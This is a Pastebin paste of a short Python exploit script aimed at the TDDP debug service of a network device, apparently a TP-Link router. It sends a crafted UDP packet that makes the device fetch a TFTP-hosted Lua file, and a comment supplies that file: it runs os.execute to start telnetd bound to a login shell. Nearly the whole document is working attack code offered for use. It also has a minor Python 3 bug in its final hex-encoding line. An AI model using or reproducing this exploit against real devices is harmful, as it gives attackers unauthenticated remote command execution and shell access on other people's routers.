Advertisement
Guest User

Untitled

a guest
Mar 27th, 2019
12,734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. # Create /testfile in your tftp root directory with the following contents:
  4. #
  5. #function config_test(config)
  6. # os.execute("telnetd -l /bin/login.sh")
  7. #end
  8. #
  9. # Replace 192.168.0.1 with the IP address of the vulnerable device
  10.  
  11. import binascii
  12. import socket
  13.  
  14. port_send = 1040
  15. port_receive = 61000
  16.  
  17. tddp_ver = "01"
  18. tddp_command = "31"
  19. tddp_req = "01"
  20. tddp_reply = "00"
  21. tddp_padding = "%0.16X" % 00
  22.  
  23. tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
  24.  
  25. sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  26. sock_receive.bind(('', port_receive))
  27.  
  28. # Send a request
  29. sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  30. packet = binascii.unhexlify(tddp_packet)
  31. packet = packet + b"/testfile;arbitrary"
  32. print(packet)
  33. sock_send.sendto(packet, ("192.168.0.1", port_send))
  34. sock_send.close()
  35.  
  36. response, addr = sock_receive.recvfrom(1024)
  37. r = response.encode('hex')
  38. print(r)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement